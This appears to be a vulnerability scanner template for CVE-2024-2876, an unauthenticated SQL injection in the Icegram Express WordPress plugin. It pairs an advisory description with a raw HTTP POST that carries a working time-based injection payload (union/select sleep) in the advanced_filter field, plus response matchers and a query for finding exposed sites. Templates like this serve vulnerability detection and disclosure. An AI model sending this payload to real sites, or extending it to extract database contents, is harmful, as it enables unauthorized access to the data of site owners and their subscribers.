The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IG_ES_Subscribers_Query' class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
PoC代码[已公开]
id: CVE-2024-2876
info:
name: Wordpress Email Subscribers by Icegram Express - SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IG_ES_Subscribers_Query' class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2876
- https://www.wordfence.com/blog/2024/04/1250-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-email-subscribers-by-icegram-express-wordpress-plugin/
classification:
epss-score: 0.91511
epss-percentile: 0.99649
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/email-subscribers/"
tags: time-based-sqli,cve,cve2024,wp,wordpress,wp-plugin,sqli,email-subscribers,wpscan,vkev,vuln
http:
- raw:
- |
@timeout: 20s
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
matchers:
- type: dsl
dsl:
- 'duration>=4'
- 'status_code == 200'
- 'contains(header, "application/json")'
- 'contains_all(body, "bulk_action", "_sent", "errortype")'
condition: and
# digest: 4a0a0047304502201e4a37b993ebd4e1304f1dcf9f7c0b9121975774cf67ff25cba3c7cb0fc12bca022100d83afbe673bb997681abe593cb2a5414410f8e0b063c94917759474eba7a036b:922c64590222798bb761d5b6d8e72950